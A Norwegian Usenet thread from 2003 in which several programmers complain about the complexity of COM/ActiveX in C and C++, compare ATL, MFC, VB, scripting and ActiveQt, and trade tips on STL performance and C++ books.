>>COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
>>
>>Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
>
>På jobben har vi fått noe måleutstyr som styres ved hjelp av ole
>og sender informasjon tilbake til en ocx ved hjelp at et com
>interface. Og gjett hve som må dille med dette. Det har ødelagt en
>måned for meg allerede.
Scripting er tingen, ja, ikke dill dall C/C++ programmering:
grensesnittet er laget for VB og scripting, ikke for C/C++.
For eksempel, Perl.
Jada, jada, du trenger en Win32-modul, men det følger f.eks. med
ActivePerl (som du kan laste ned eller hente fra Resource Kit).
Alternativt har jeg hørt et eller annet sted at Delphi (Pascal)
har god og mer transparent støtte for COM, men det er jo et
temmelig dødt dyr i Windows.
Eller, f.eks., LabView ($$$).
>Det jeg ikke helt forstår er hvorfor COM-kode kan være så ryddig
>og pen i VB og så sølete i C og C++.
Fordi VB og Windows scriptspråk har direkte syntaktisk støtte for
OLE automasjon, slik at identifikatorer i kildekoden (f.eks.,
metodenavn) oversettes ned til strenger og automasjons-id'er uten
at det vises på kildekodenivået.
>Hvis man kan skjule griseriet i VB kan man vel gjøre det med gode
>biblioteker for C og C++ også?
Kun til en viss grad.
Det er det samme som for andre språk.
Og som for andre komponentteknologier.
>Finnes det noen ryddige C eller C++ wrappere for COM/ActiveX?
ATL er kanskje det minst uryddige. Men som nevnt, scripting
er tingen. Eller eventuelt VB, men med VB får du problemer
med DLL-versjoner og med å lage en installasjon som fungerer.
>...
>Jeg gir snart opp. :-(((
Se ovenfor.
Hdh.,
- Alf
Alf P. Steinbach
> ...
Vel, jeg prøvde <url:http://www.molden.net>, og hva ble
resultatet?
Jo, en side der man kunne skaffe seg e-mail adresse.
Når jeg lukket den fikk jeg en popup (oops, hadde skrudd
av FreeSurfer!), den så slik ut:
<url:http://home.no.net/alfps/images/congrats.jpg>
SKAL JEG TRO PÅ DET?
Thore B. Karlsen
>>COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
>>
>>Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
>På jobben har vi fått noe måleutstyr som styres ved hjelp av ole
>og sender informasjon tilbake til en ocx ved hjelp at et com
>interface. Og gjett hve som må dille med dette. Det har ødelagt en
>måned for meg allerede.
>
>Ikke rart Windows-programmer er fulle av bugs. Makan til søl har jeg
>aldri sett.
Tell me about it.
>Men derimot er det helt greit å lage en COM-server med VB (bortsett
>fra at VB byr meg imot). Det jeg ikke helt forstår er hvorfor
>COM-kode kan være så ryddig og pen i VB og så sølete i C og C++.
>Hvis man kan skjule griseriet i VB kan man vel gjøre det med gode
>biblioteker for C og C++ også?
Man skulle tro det. Jeg hadde ihvertfall anstrengt meg med å gjøre noe
litt mer elegant. Tror problemet er at de prøver å gjøre _alt_ i COM, så
man ender opp med å måtte støtte alle slags greier man ikke har bruk
for. Det er helt utrolig hvor mye dilldall man er nødt til å kunne for å
ha en oversikt over hvordan COM fungerer. Det er lettere å lære C++. :(
>Finnes det noen ryddige C eller C++ wrappere for COM/ActiveX?
Ikke som jeg har sett. ATL er vel det nærmeste, men som du har sett er
det ikke ideelt. Har du sett skrotkoden som blir generert av wizardene?
Iiiiiiiik! Skummelt. :(
Dessverre er det et helvete å gjøre det for hånd også. Oppdatere
IDL-filer og metoder og djevelskap for hånd er ikke gøy. Og for å komme
til det punktet at man kan gjøre noe for hånd må man sette seg inn i
pokker så mye dritt.
>Nå har jeg prøvd MFC og ATL, og den ene løsningen er mer sølete
>enn den andre. Borland nekter å kompilere type-biblioteket som
>jeg fikk tilsendt, den påstår at en metode har konflikt med en
>virtuell metode i IUnkown. Duh...
Nettopp derfor bruker jeg kun VC++. Om man programmerer for Windows
kommer dagen _alltid_ der man har bruk for noe MS-spesifikt greier som
er et helsike å få til å fungere med andre kompilatorer.
--
Be seeing you.
Thore B. Karlsen
wrote:
>>>COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
>>>
>>>Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
>>På jobben har vi fått noe måleutstyr som styres ved hjelp av ole
>>og sender informasjon tilbake til en ocx ved hjelp at et com
>>interface. Og gjett hve som må dille med dette. Det har ødelagt en
>>måned for meg allerede.
>Scripting er tingen, ja, ikke dill dall C/C++ programmering:
>grensesnittet er laget for VB og scripting, ikke for C/C++.
>
>For eksempel, Perl.
Eh. Ikke når man f.eks. skal lage ActiveX-wrappere til kode man har i
C++. Gikk nettopp igjennom det. Måtte et par ganger gjennom wizardene
for å få med meg alt jeg trengte. Connection points? Trenger ikke det
jeg. Ooops. Trengte det visst likevel. Om igjen..
--
Be seeing you.
Sigurd Stenersen
COM funker da aldeles utmerket. Du kan ta i bruk MS Word med noen få linjer
kode, det samme gjelder de andre programmene i Office-pakken og MSHtml og
MSXml for å nevne noe.
Bruker du ikke smartpekere ?
Sigurd
Sigurd Stenersen
> On Wed, 23 Apr 2003 18:29:56 +0200, Sturla Molden
> <stu...@moldendotnet.invalid> wrote:
>
>>> COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
>>>
>>> Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
>
>> aldri sett.
>
> Tell me about it.
Jeg fatter ikke hva det er dere klager sånn på, men jeg orker ikke enda en
tuseninnleggsdiskusjon denne uka.
Men jeg må likevel dele ut et par oppriktig mente sleivspark...
COM er et fabelaktig system som fungerer utmerket. Det eneste aberet er at
terskelen for å komme i gang er høy (hvis du skal lage komponenter).
Å bruke ferdiglagde komponenter er så enkelt at den som ikke evner å mestre
det burde finne seg noe annet å drive med enn C++...
Sigurd
Thore B. Karlsen
Å bruke andres komponenter er ikke så ille, nei. Men jeg må lage mine
egne.
>Bruker du ikke smartpekere ?
Jeg bruker omtrent _kun_ smartpekere.
--
Be seeing you.
Thomas Hansen
Sturla Molden <stu...@moldendotnet.invalid> containing:
>On Wed, 23 Apr 2003 10:00:09 -0500, Thore B. Karlsen <s...@6581.com>
>wrote:
>
>
>>COM.. Agh.. Måtte du nå nevne det da. Der var dagen ødelagt. :(
>>
>>Noe mer omstendelig enn COM/ActiveX tror jeg aldri jeg har vært borti.
>
>På jobben har vi fått noe måleutstyr som styres ved hjelp av ole
>og sender informasjon tilbake til en ocx ved hjelp at et com
>interface. Og gjett hve som må dille med dette. Det har ødelagt en
>måned for meg allerede.
>
>Ikke rart Windows-programmer er fulle av bugs. Makan til søl har jeg
>aldri sett.
>
>Men derimot er det helt greit å lage en COM-server med VB (bortsett
>fra at VB byr meg imot). Det jeg ikke helt forstår er hvorfor
>COM-kode kan være så ryddig og pen i VB og så sølete i C og C++.
>Hvis man kan skjule griseriet i VB kan man vel gjøre det med gode
>biblioteker for C og C++ også?
>
>Finnes det noen ryddige C eller C++ wrappere for COM/ActiveX?
_bstr_t istedenfor BSTR, _com_error exceptions istedenfor HRESULT,
IMyComStuffPtr istedenfor IMyComStuff * kjører automagisk reference
count etc (for å få til det må du selvfølgelig bruke #import på
typelibrarien og ikke #include på en eller annen .h fil...)
...list goes on
Faktum er at når du først har fått tak på COM så er det ikke så
vanskelig, men det er dårlig dokumentasjon, frustrerende
mange/komplekse klasser og lite eksempel prosjekter/kode.
Men det er ikke noen tvil om at COM er en kul greie når du først har
skjønt hvordan opplegget funker...
>
>Nå har jeg prøvd MFC og ATL, og den ene løsningen er mer sølete
>enn den andre. Borland nekter å kompilere type-biblioteket som
>jeg fikk tilsendt, den påstår at en metode har konflikt med en
>virtuell metode i IUnkown. Duh...
>
>Jeg gir snart opp. :-(((
>
>
>Sturla Molden
--
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
>Thomas Hansen wrote:
DET kan jag innrømme er et gigantisk problem, dokumentasjonen til STL
i MSVS er skikkelig RÆVA!!
Da jeg var på teched i 2001 i forbindelse med release av Visual Studio
.Net så skrøt de faktisk av at "nå var tom dokumentasjonen til STL
ikke lengere bare copy/paste fra .h filene til de respektive
klassene", og det var forsåvidt sant, nå var det "copy/paste fra .h
filene MED en eksempel snutt med kode..."
Men det finnes MYE bra litteratur der ute om STL, en VELDIG god bok
som ofte blir oversett av senior kodere da den minner om et nybegynner
kurs (den er tekniskt sett det) er en som heter "Accelerated C++".
Også har du "Thinking in C++", den kan faktisk finnes GRATIS på nettet
og er VEDLIG bra(google:"thinking in c++")!
Så har du jo Bjarne sine egne (dritkomplekse) tankespinninger som
heter "C++ the programming language", den går også ganske dypt inn i
STL (den har du vel en kopi av tenker jeg, hvis du ikke har det er den
et MUST).
Det som i tillegg kompifiserer STL og innlæringskurven er at det ikke
bestandig er like intuitivt, jeg optimaliserte her om dagen en
fil-leser rutine som benyttet seg av std::ifstream med en faktor på
"sinnsykt mye" ved å dytte ting inn i en vector først.
Jeg skulle lese hele innholdet av en fil inn i en std::string, men det
som ble problemet er at std::string vokser lineært, dette ble et STORT
problem da jeg leste en og en linje i filen og konkatenerte stringen
etter hvert som jeg skred frem, for hver linje jeg leste måtte
stringen "re-heapes" 2-3 ganger (og det gamle inneholdet flyttes) på
grunn av semantikken til std::string (den vikser lineært med en
konstant på ca. 13 char eller no' sånt).
Det jeg gjorde var å istedenfor dytte det inn i en vector<char>
(vector vokser eksponentielt) ved hjelp av push_back for så når jeg
var ferdig instantiere en std::string ved hjelp av std::string
myFileContent( myVector.begin(), myVector.end() ) (iterators), dette
gjorde funksjonen opp til 400 ganger raskere enn den "intuitive"
implementasjonen (rett til std::string) for store filer (opp mot 2
MB)...
Hele funksjonen var på 5 linjer med kode, men den "føltes ikke helt
riktig" da jeg måtte bruke en vector som "buffer"...
Konklusjonen må bli at for å kuknne benytte deg effektivt av STL må du
ikke bare kunne klasse-hierarkiet og klasse-funksjonene men en må også
vite en god del om den "indre semantikken"...
Men det er en del veldig niftige ting i streams som gjør livet
VIRKELIG verdt å leve til tider, et godt eksempel er "interface
klassen" istream som er base klassen til BÅDE ifstream og
stringstream, noe som muligjør f.eks. samme rutine for å lese data inn
fra en string som fra en fysisk fil, i tillegg til at en kan selv arve
fra istream noe som kan være nyttig f.eks. i et recordset som er et
uttrekk fra en en database etc...
Men skikkelig god "F1 dokumentasjon" tror jeg nok aldri vil finnes for
MSVS da det motstrider Micro$oft sine egen interesser, de ser jo helst
at ting implementeres i enten MFC eller aller helst i CLR da det
"umuliggjør" portering til andre OS'er og kompilatorer...
Sturla Molden
wrote:
>Vel, jeg prøvde <url:http://www.molden.net>, og hva ble
>resultatet?
Det er ikke jeg som eier domenet.
>Jo, en side der man kunne skaffe seg e-mail adresse.
>Når jeg lukket den fikk jeg en popup (oops, hadde skrudd
>av FreeSurfer!), den så slik ut:
>
> <url:http://home.no.net/alfps/images/congrats.jpg>
>
>SKAL JEG TRO PÅ DET?
Ikke skyld på meg.
Sturla Molden
Sturla Molden
<sig...@utvikling.com> wrote:
>Å bruke ferdiglagde komponenter er så enkelt at den som ikke evner å mestre
>det burde finne seg noe annet å drive med enn C++...
Javisst. Men her var det snakk om å lage egne komponenter,
ikke bruke komponenter som andre har laget.
Dog, jeg er ikke sikker på at dra-og-slipp ActiveX-komponenter
har så mye med C++ å gjøre. Det blir litt mer "VB" enn C++.
Sturla Molden
Sigurd Stenersen
Så enten det lett eller vanskelig så er det galt i alle fall?
Sigurd
Sturla Molden
Thore B. Karlsen
>>Finnes det noen ryddige C eller C++ wrappere for COM/ActiveX?
>
>
> Ikke som jeg har sett. ATL er vel det nærmeste, men som du har sett er
> det ikke ideelt.
Jeg har lett litt rundt, og har funnet én pen ActiveX
wrapper for C++: ActiveQt. Og jeg liker resten av Qt også.
> Har du sett skrotkoden som blir generert av wizardene?
> Iiiiiiiik! Skummelt. :(
Ja ... dessverre. Her om dagen brukte jeg wizardene til å
1. generere et nytt MFC ActiveX prosjekt
2. generere en ny klasse for ole fra et "type library"
Og etterpå skulle jeg liksom gjøre noe fornuftig med koden.
Men jeg ble svimmel bare av å se på koden. Herregud.
> Nettopp derfor bruker jeg kun VC++. Om man programmerer for Windows
> kommer dagen _alltid_ der man har bruk for noe MS-spesifikt greier som
> er et helsike å få til å fungere med andre kompilatorer.
Det tror jeg du kan ha rett i. I alle fall bør man ha msvc
tilgjengelig. Det er synd C++ ikke har et standard ABI slik
at man kunne brukt kompilatorene om hverandre.
Sturla Molden
Alf P. Steinbach
Sturla Molden
Application Binary Interface
S.M.
Sturla Molden
Sturla Molden wrote:
> Jeg har lett litt rundt, og har funnet én pen ActiveX
> wrapper for C++: ActiveQt. Og jeg liker resten av Qt også.
Set ser faktisk ut til at Qt har en pene wrappere for
alle typer COM-objekter, ikke bare ActiveX-komponenter.
Hmm ... må prøve dette.
S.M.